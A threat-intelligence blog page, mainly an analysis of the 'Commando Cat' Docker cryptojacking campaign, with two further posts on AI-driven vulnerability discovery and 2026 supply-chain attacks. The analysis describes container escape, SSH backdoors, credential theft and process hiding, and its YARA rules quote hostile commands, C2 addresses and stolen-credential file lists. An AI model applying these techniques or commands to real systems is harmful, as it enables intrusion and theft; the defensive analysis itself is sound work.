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January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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May 11, 2026

The Next Step After Mythos: Defending in a World Where Compromise is Expected

mythos cybersecurityDefault blog imageDefault blog image

Is Anthropic’s Mythos a turning point for cybersecurity?

Anthropic’s recent announcements around their Mythos model, alongside the launch of Project Glasswing, have generated significant interest across the cybersecurity industry.

The closed-source nature of the Mythos model has understandably attracted a degree of skepticism around some of the claims being made. Additionally, Project Glasswing was initially positioned as a way for software vendors to accelerate the proactive discovery of vulnerabilities in their own code; however, much of the attention has focused on the potential for AI to identify exploitable vulnerabilities for those with malicious intent.

Putting questions around the veracity of those claims to one side – which, for what it’s worth, do appear to be at least partially endorsed by independent bodies such as the UK’s AI Security Institute – this should not be viewed as a critical turning point for the industry. Rather, it reflects the natural direction of travel.

How Mythos affects cybersecurity teams  

At Darktrace, extolling the virtues of AI within cybersecurity is understandably close to our hearts. However, taking a step back from the hype, we’d like to consider what developments like this mean for security teams.

Whether it’s Mythos or another model yet to be released, it’s worth remembering that there is no fundamental difference between an AI discovered vulnerability and one discovered by a human. The change is in the pace of discovery and, some may argue, the lower the barrier to entry.

In the hands of a software developer, this is unquestionably positive. Faster discovery enables earlier remediation and more proactive security. But in the hands of an attacker, the same capability will likely lead to a greater number of exploitable vulnerabilities being used in the wild and, critically, vulnerabilities that are not yet known to either the vendor or the end user.

That said, attackers have always been able to find exploitable vulnerabilities and use them undetected for extended periods of time. The use of AI does not fundamentally change this reality, but it does make the process faster and, unfortunately, more likely to occur at scale.

While tools such as Darktrace / Attack Surface Management and / Proactive Exposure Management  can help security teams prioritize where to patch, the emergence of AI-driven vulnerability discovery reinforces an important point: patching alone is not a sufficient control against modern cyber-attacks.

Rethinking defense for a world where compromise is expected

Rather than assuming vulnerabilities can simply be patched away, defenders are better served by working from the assumption that their software is already vulnerable - and always will be -and build their security strategy accordingly.

Under that assumption, defenders should expect initial access, particularly across internet exposed assets, to become easier for attackers. What matters then is how quickly that foothold is detected, contained, and prevented from expanding.

For defenders, this places renewed emphasis on a few core capabilities:

  • Secure-by-design architectures and blast radius reduction, particularly around identity, MFA, segmentation, and Zero Trust principles
  • Early, scalable detection and containment, favoring behavioral and context-driven signals over signatures alone
  • Operational resilience, with the expectation of more frequent early-stage incidents that must be managed without burning out teams

How Darktrace helps organizations proactively defend against cyber threats

At Darktrace, we support security teams across all three of these critical capabilities through a multi-layered AI approach. Our Self-Learning AI learns what’s normal for your organization, enabling real-time threat detection, behavioral prediction, incident investigation and autonomous response. - all while empowering your security team with visibility and control.

To learn more about Darktrace’s application of AI to cybersecurity download our White Paper here.  

Reducing blast radius through visibility and control

Secure-by-design principles depend on understanding how users, devices, and systems behave. By learning the normal patterns of identity and network activity, Darktrace helps teams identify when access is being misused or when activity begins to move beyond expected boundaries. This makes it possible to detect and contain lateral movement early, limiting how far an attacker can progress even after initial access.

Detecting and containing threats at the earliest stage  

As AI accelerates vulnerability discovery, defenders need to identify exploitation before it is formally recognized. Darktrace’s behavioral understanding approach enables detection of subtle deviations from normal activity, including those linked to previously unknown vulnerabilities.

A key example of this is our research on identifying cyber threats before public CVE disclosures, demonstrating that assessing activity against what is normal for a specific environment, rather than relying on predefined indicators of compromise, enables detection of intrusions exploiting previously unknown vulnerabilities days or even weeks before details become publicly available.

Additionally, our Autonomous Response capability provides fast, targeted containment focused on the most concerning events, while allowing normal business operations to continue. This has consistently shown that even when attackers use techniques never seen before, Darktrace’s Autonomous Response can contain threats before they have a chance to escalate.

Scaling response without increasing operational burden

As early-stage incidents become more frequent, the ability to investigate and respond efficiently becomes critical. Darktrace’s Cyber AI Analyst’s AI-driven investigation capabilities automatically correlate activity across the environment, prioritizing the most significant threats and reducing the need for manual triage. This allows security teams to respond faster and more consistently, without increasing workload or burnout.

What effective defense looks like in an AI-accelerated landscape

Developments like Mythos highlight a reality that has been building for some time: the window between exposure and exploitation is shrinking, and in many cases, it may disappear entirely. In that environment, relying on patching alone becomes increasingly reactive, leaving little room to respond once access has been established.

The more durable approach is to assume that compromise will occur and focus on controlling what happens next. That means identifying early signs of misuse, containing threats before they spread, and maintaining visibility across the environment so that isolated signals can be understood in context.

AI plays a role on both sides of this equation. While it enables attackers to move faster, it also gives defenders the ability to detect subtle changes in behavior, prioritize what matters, and respond in real time. The advantage will not come from adopting AI in isolation, but from applying it in a way that reduces the gap between detection and action.

AI may be accelerating parts of the attack lifecycle, but the fundamentals of defense, detection, and containment still apply. If anything, they matter more than ever – and AI is just as powerful a tool for defenders as it is for attackers.

To learn more about Darktrace and Mythos read more on our blog: Mythos vs Ethos: Defending in an Era of AI‑Accelerated Vulnerability Discovery

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Toby Lewis
Head of Threat Analysis

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May 6, 2026

When Trust Becomes the Attack Surface: Supply-Chain Attacks in an Era of Automation and Implicit Trust

Software supply chain attacksDefault blog imageDefault blog image

Software supply-chain attacks in 2026

Software supply-chain attacks now represent the primary threat shaping the 2026 security landscape. Rather than relying on exploits at the perimeter, attackers are targeting the connective tissue of modern engineering environments: package managers, CI/CD automation, developer systems, and even the security tools organizations inherently trust.

These incidents are not isolated cases of poisoned code. They reflect a structural shift toward abusing trusted automation and identity at ecosystem scale, where compromise propagates through systems designed for speed, not scrutiny. Ephemeral build runners, regardless of provider, represent high‑trust, low‑visibility execution zones.

The Axios compromise and the cascading Trivy campaign illustrate how quickly this abuse can move once attacker activity enters build and delivery workflows. This blog provides an overview of the latest supply chain and security tool incidents with Darktrace telemetry and defensive actions to improve organizations defensive cyber posture.

1. Why the Axios Compromise Scaled

On 31 March 2026, attackers hijacked the npm account of Axios’s lead maintainer, publishing malicious versions 1.14.1 and 0.30.4 that silently pulled in a malicious dependency, plain‑crypto‑[email protected]. Axios is a popular HTTP client for node.js and  processes 100 million weekly downloads and appears in around 80% of cloud and application environments, making this a high‑leverage breach [1].

The attack chain was simple yet effective:

  • A compromised maintainer account enabled legitimate‑looking malicious releases.
  • The poisoned dependency executed Remote Access Trojans (RATs) across Linux, macOS and Windows systems.
  • The malware beaconed to a remote command-and-control (C2) server every 60 seconds in a loop, awaiting further instructions.
  • The installer self‑cleaned by deleting malicious artifacts.

All of this matters because a single maintainer compromise was enough to project attacker access into thousands of trusted production environments without exploiting a single vulnerability.

A view from Darktrace

Multiple cases linked with the Axios compromise were identified across Darktrace’s customer base in March 2026, across both Darktrace / NETWORK and Darktrace / CLOUD deployments.

In one Darktrace / CLOUD deployment, an Azure Cloud Asset was observed establishing new external HTTP connectivity to the IP 142.11.206[.]73 on port 8000. Darktrace deemed this activity as highly anomalous for the device based on several factors, including the rarity of the endpoint across the network and the unusual combination of protocol and port for this asset. As a result, the triggering the "Anomalous Connection / Application Protocol on Uncommon Port" model was triggered in Darktrace / CLOUD. Detection was driven by environmental context rather than a known indicator at the time. Subsequent reporting later classified the destination as malicious in relation to the Axios supply‑chain compromise, reinforcing the gap that often exists between initial attacker activity and the availability of actionable intelligence. [5]

Additionally, shortly before this C2 connection, the device was observed communicating with various endpoints associated with the NPM package manager, further reinforcing the association with this attack.

Darktrace’s detection of the unusual external connection to 142.11[.]206[.]73 via port 8000.  
Figure 1: Darktrace’s detection of the unusual external connection to 142.11[.]206[.]73 via port 8000.  

Within Axios cases observed within Darktrace / NETWORK customer environments, activity generally focused on the use of newly observed cURL user agents in outbound connections to the C2 URL sfrclak[.]com/6202033, alongside the download of malicious files.

In other cases, Darktrace / NETWORK customers with Microsoft Defender for Endpoint integration received alerts flagging newly observed system executables and process launches associated with C2 communication.

A Security Integration Alert from Microsoft Defender for Endpoint associated with the Axios supply chain attack.
Figure 2: A Security Integration Alert from Microsoft Defender for Endpoint associated with the Axios supply chain attack.

2. Why Trivy bypassed security tooling trust

Between late February and March 22, 2026, the threat group TeamPCP leveraged credentials from a previous incident to insert malicious artifacts across Trivy’s distribution ecosystem, including its CI automation, release binaries, Visual Studio Code extensions, and Docker container images [2].

While public reporting has emphasized GitHub Actions, Darktrace telemetry highlights attacker execution within CI/CD runner environments, including ephemeral build runners. These execution contexts are typically granted broad trust and limited visibility, allowing malicious activity within build automation to blend into expected operational workflows, regardless of provider.

This was a coordinated multi‑phase attack:

  • 75 of 76  of trivy-action tags and all setup‑trivy tags were force‑pushed to deliver a malicious payload.
  • A malicious binary (v0.69.4) was distributed across all major distribution channels.
  • Developer machines were compromised, receiving a persistent backdoor and a self-propagating worm.
  • Secrets were exfiltrated at scale, including SSH keys, Kuberenetes tokens, database passwords, and cloud credentials across Amazon Web Service (AWS), Azure, and Google Cloud Platform (GCP).

Within Darktrace’s customer base, an AWS EC2 instance monitored by Darktrace / CLOUD  appeared to have been impacted by the Trivy attack. On March 19, the device was seen connecting to the attacker-controlled C2 server scan[.]aquasecurtiy[.]org (45.148.10[.]212), triggering the model 'Anomalous Server Activity / Outgoing from Server’ in Darktrace / CLOUD.

Despite this limited historical context, Darktrace assessed this activity as suspicious due to the rarity of the destination endpoint across the wider deployment. This resulted in the triggering of a model alert and the generation of a Cyber AI Analyst incident to further analyze and correlate the attack activity.

TeamPCP’s continued abused of GitHub Actions against security and IT tooling has also been observed more recently in Darktrace’s customer base. On April 22, an AWS asset was seen connecting to the C2 endpoint audit.checkmarx[.]cx (94.154.172[.]43). The timing of this activity suggests a potential link to a malicious Bitwarden package distributed by the threat actor, which was only available for a short timeframe on April 22. [4][3]

Figure 3: A model alert flagging unusual external connectivity from the AWS asset, as seen in Darktrace / CLOUD .

While the Trivy activity originated within build automation, the underlying failure mode mirrors later intrusions observed via management tooling. In both cases, attackers leveraged platforms designed for scale and trust to execute actions that blended into normal operational noise until downstream effects became visible.

Quest KACE: Legacy Risk, Real Impact

The Quest KACE System Management Appliance (SMA) incident reinforces that software risk is not confined to development pipelines alone. High‑trust infrastructure and management platforms are increasingly leveraged by adversaries when left unpatched or exposed to the internet.

Throughout March 2026, attackers exploited CVE 2025-32975 to authentication on outdated, internet-facing KACE appliances, gaining administrative control and pushing remote payloads into enterprise environments. Organizations still running pre-patch versions effectively handed adversaries a turnkey foothold, reaffirming a simple strategic truth: legacy management systems are now part of the supply-chain threat surface, and treating them as “low-risk utilities” is no longer defensible [3].

Within the Darktrace customer base, a potential case was identified in mid-March involving an internet-facing server that exhibited the use of a new user agent alongside unusual file downloads and unexpected external connectivity. Darktrace identified the device downloading file downloads from "216.126.225[.]156/x", "216.126.225[.]156/ct.py" and "216.126.225[.]156/n", using the user agents, "curl/8.5.0" & "Python-urllib/3.9".

The timeframe and IoCs observed point towards likely exploitation of CVE‑2025‑32975. As with earlier incidents, the activity became visible through deviations in expected system behavior rather than through advance knowledge of exploitation or attacker infrastructure. The delay between observed exploitation and its addition to the Known Exploited Vulnerabilities (KEV) catalogue underscores a recurring failure: retrospective validation cannot keep pace with adversaries operating at automation speed.

The strategic pattern: Ecosystem‑scale adversaries

The Axios and Trivy compromises are not anomalies; they are signals of a structural shift in the threat landscape. In this post-trust era, the compromise of a single maintainer, repository token, or CI/CD tag can produce large-scale blast radiuses with downstream victims numbering in the thousands. Attackers are no longer just exploiting vulnerabilities; they are exploiting infrastructure privileges, developer trust relationships, and automated build systems that the industry has generally under secured.

